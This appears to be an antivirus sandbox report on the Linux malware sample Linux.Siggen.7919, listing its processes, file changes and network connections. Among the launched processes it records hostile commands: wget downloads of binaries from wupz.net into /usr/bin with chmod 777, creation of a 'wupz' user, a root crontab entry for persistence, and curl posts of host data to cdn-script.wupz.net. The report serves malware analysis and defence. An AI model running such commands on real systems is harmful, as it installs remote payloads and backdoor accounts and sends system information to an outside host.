Linux.Siggen.7919

Technical Information

To ensure autorun and distribution:

Creates or modifies the following files:

/var/spool/cron/crontabs/root

Malicious functions:

Gains root privileges

Launches processes:

apt update -y
free -m
/usr/bin/mawk awk {print $2,$3,$4}
curl -s https://cdn-script.wupz.net/date.php
bash -c lsb_release -d
/usr/bin/mawk awk {print $2}
clear
/usr/bin/python3.9 /usr/bin/python3 -Es /usr/bin/lsb_release -d
sudo useradd -s /bin/bash -d /home/wupz/ -m wupz
grep Description
apt-config shell REMOVED_KEYS APT::Key::RemovedKeys
df -h
su -c lsb_release -d
rm -rf /tmp/apt-key-gpghome.K8CdpK9l2R
grep load
curl -N -s -4 --data method=eski-ts3 https://cdn-script.wupz.net/method
mktemp --directory --tmpdir apt-key-gpghome.XXXXXXXXXX
curl -N -s -4 --data method=sBot-356-TekPanel https://cdn-script.wupz.net/method
chmod 700 /tmp/apt-key-gpghome.K8CdpK9l2R
expr 10
/usr/lib/apt/methods/store
bash -c source /mnt/699 <SAMPLE_FULL_PATH>
gpgv --homedir /tmp/apt-key-gpghome.K8CdpK9l2R --keyring /tmp/apt-key-gpghome.K8CdpK9l2R/docker.asc.gpg --ignore-time-conflict --status-fd 3 /tmp/apt.sig.vprxKX /tmp/apt.data.ftXjeW
apt-config shell ARCHIVE_KEYRING_URI APT::Key::ArchiveKeyringURI
gpg-connect-agent --no-autostart --dirmngr KILLDIRMNGR
curl -N -s -4 --data method=yeni-ts3 https://cdn-script.wupz.net/method
chmod 777 /usr/bin/wupz-check
apt-config shell MASTER_KEYRING APT::Key::MasterKeyring
wget -q --no-check-certificate https:/wupz.net/wupz-check -O /usr/bin/wupz-check
crontab -
wget -q --no-check-certificate https://wupz.net/wupz -O /usr/bin/wupz
/usr/lib/apt/methods/https
apt-config shell GPGV Apt::Key::gpgvcommand
curl -N -s -4 --data request=blacklist&sip=176.100.243.133 https://cdn-script.wupz.net/index
curl -s https://cdn-script.wupz.net/news
curl -N -s -4 --data method=teaspeak https://cdn-script.wupz.net/method
/usr/bin/mawk awk /^-----BEGIN/{ x = 1; }\x0a/^$/{ if (x == 1) { x = 2; }; }\x0a/^[^=-]/{ if (x == 2) { print $0; }; }\x0a/^-----END/{ x = 0; }
/bin/sh /usr/bin/apt-key --quiet --readonly --keyring /etc/apt/keyrings/docker.asc verify --status-fd 3 /tmp/apt.sig.vprxKX /tmp/apt.data.ftXjeW
id -u
/usr/bin/mawk awk { ip = $1 } END { print ip }
gpg-connect-agent -s --no-autostart GETINFO scd_running /if ${! $?} scd killscd /end
apt-config shell ARCHIVE_KEYRING APT::Key::ArchiveKeyring
top -bn1
curl -N -s -4 --data method=sBot-353-Limitsiz https://cdn-script.wupz.net/method
curl -N -s -4 --data method=sBot-353-TekPanel https://cdn-script.wupz.net/method
date +%d
/usr/bin/dpkg --print-foreign-architectures
/usr/bin/mawk awk {printf \x22%.2f\x22 $(NF-2)}
/usr/bin/mawk awk $NF==\x22/\x22{printf \x22%d/%dGB (%s)\x22 $3,$2,$5}
curl -s -4 https://cdn-script.wupz.net/ip.php
/usr/bin/mawk awk NR==2{printf \x22%s/%sMB (%.2f%%)\x22 $3,$2,$3*100/$2}
date +10.%m.%Y
useradd -s /bin/bash -d /home/wupz/ -m wupz
/bin/sh /usr/bin/apt-key --quiet --readonly verify --status-fd 3 /tmp/apt.sig.nFocpx /tmp/apt.data.gAsHkx
sed -e s#\x27#\x27\x22\x27\x22\x27#g
chmod 777 /usr/bin/wupz
gpgconf --kill all
base64 -d
gpg-connect-agent --no-autostart KILLAGENT
/usr/lib/apt/methods/http
/usr/lib/apt/methods/gpgv

Kills the following processes:

http
gpgv
store

Performs operations with the file system:

Modifies file access rights:

/home/wupz
/home/wupz/.profile
/home/wupz/.bash_logout
/home/wupz/.bashrc
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/group-
/etc/group+
/etc/gshadow-
/etc/gshadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/usr/bin/wupz
/usr/bin/wupz-check
/var/spool/cron/crontabs/tmp.tvSYY2
/var/lib/apt/lists/partial
/var/lib/apt/lists/auxfiles
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
/var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
/tmp/apt-key-gpghome.K8CdpK9l2R
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.bz2
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.E5b0mU
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages

Modifies file owner:

/home/wupz
/home/wupz/.profile
/home/wupz/.bash_logout
/home/wupz/.bashrc
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/group-
/etc/group+
/etc/gshadow-
/etc/gshadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/var/lib/apt/lists/partial
/var/lib/apt/lists/auxfiles
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
/var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.bz2
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages

Creates folders:

/root/.config
/root/.config/procps
/home/wupz
/tmp/apt-key-gpghome.K8CdpK9l2R

Deletes folders:

/tmp/apt-key-gpghome.K8CdpK9l2R

Creates symlinks:

/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/etc/shadow.lock

Creates or modifies files:

/mnt/699
/etc/.pwd.lock
/etc/passwd.766
/etc/group.766
/etc/gshadow.766
/etc/subuid.766
/etc/subgid.766
/etc/shadow.766
/var/log/faillog
/var/log/lastlog
/home/wupz/.profile
/home/wupz/.bash_logout
/home/wupz/.bashrc
/etc/passwd-
/etc/passwd+
/etc/shadow-
/etc/shadow+
/etc/group-
/etc/group+
/etc/gshadow-
/etc/gshadow+
/etc/subuid-
/etc/subuid+
/etc/subgid-
/etc/subgid+
/usr/bin/wupz
/usr/bin/wupz-check
/var/spool/cron/crontabs/tmp.tvSYY2
/tmp/#130829 (deleted)
/var/lib/apt/lists/lock
/var/lib/apt/lists/partial/.apt-acquire-privs-test.sjynYd
/var/lib/apt/lists/partial/.apt-acquire-privs-test.I96Eif
/var/lib/apt/lists/partial/.apt-acquire-privs-test.c1U3Af
/var/lib/apt/lists/partial/.apt-acquire-privs-test.Zp9zeh
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
/var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
/tmp/apt.conf.rDeTIW
/tmp/apt.sig.vprxKX
/tmp/apt.data.ftXjeW
/tmp/apt-key-gpghome.K8CdpK9l2R/docker.asc.gpg
/tmp/apt-key-gpghome.K8CdpK9l2R/gpg.1.sh
/tmp/apt.conf.sirbLv
/tmp/apt.sig.nFocpx
/tmp/apt.data.gAsHkx
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.bz2
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.E5b0mU

Deletes files:

/mnt/699
/etc/passwd.766
/etc/group.766
/etc/gshadow.766
/etc/subuid.766
/etc/subgid.766
/etc/shadow.766
/etc/shadow.lock
/etc/passwd.lock
/etc/group.lock
/etc/gshadow.lock
/etc/subuid.lock
/etc/subgid.lock
/var/lib/apt/lists/partial/.apt-acquire-privs-test.sjynYd
/var/lib/apt/lists/partial/.apt-acquire-privs-test.I96Eif
/var/lib/apt/lists/partial/.apt-acquire-privs-test.c1U3Af
/var/lib/apt/lists/partial/.apt-acquire-privs-test.Zp9zeh
/tmp/apt-key-gpghome.K8CdpK9l2R/docker.asc.gpg
/tmp/apt-key-gpghome.K8CdpK9l2R/gpg.1.sh
/tmp/apt.conf.rDeTIW
/tmp/apt.sig.vprxKX
/tmp/apt.data.ftXjeW

Changes time of creation/access/modification of files:

/home/wupz/.profile
/home/wupz/.bash_logout
/home/wupz/.bashrc
/etc/passwd-
/etc/shadow-
/etc/group-
/etc/gshadow-
/etc/subuid-
/etc/subgid-
/usr/bin/wupz
/var/spool/cron/crontabs
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_InRelease
/var/lib/apt/lists/partial/security.debian.org_debian-security_dists_bullseye-security_InRelease
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages.bz2
/var/lib/apt/lists/partial/download.docker.com_linux_debian_dists_bullseye_stable_binary-amd64_Packages

Network activity:

Establishes connection:

8.#.8.8:53
18#.##4.97.1:443
(e##val)
18#.##4.96.1:443
[2#####8c1:3121::1]:443
[2#####8c1:3120::1]:443
18#.#14.96.1:0
18#.#14.97.1:0
[2#####8c1:3121::1]:0
[2#####8c1:3120::1]:0
15#.##1.246.132:80
[2#####e42:3a::644]:80
[2##########78f:8c00:3:db06:4200:93a1]:443
[2##########78f:4e00:3:db06:4200:93a1]:443
[2##########78f:7800:3:db06:4200:93a1]:443
[2##########78f:6200:3:db06:4200:93a1]:443
[2##########78f:fa00:3:db06:4200:93a1]:443
[2##########78f:5a00:3:db06:4200:93a1]:443
[2##########78f:f800:3:db06:4200:93a1]:443
[2##########78f:5600:3:db06:4200:93a1]:443
3.###.206.39:443
3.###.206.102:443
3.###.206.5:443
3.###.206.93:443

DNS ASK:

cd####ript.wupz.net
wu##.net
ww#.#upz.net
https
_h####.##cp.download.docker.com
_h###.###p.security.debian.org
_h###.##cp.deb.debian.org
do####ad.docker.com
de####.#ap.fastlydns.net

Sends data to the following servers:

18#.##4.97.1:443
18#.##4.96.1:443
15#.##1.246.132:80
3.###.206.39:443

Receives data from the following servers:

18#.##4.97.1:443
18#.##4.96.1:443
3.###.206.39:443
15#.##1.246.132:80

Other:

Collects OS information

Collects CPU information

Collects RAM information

Collects information about network activity

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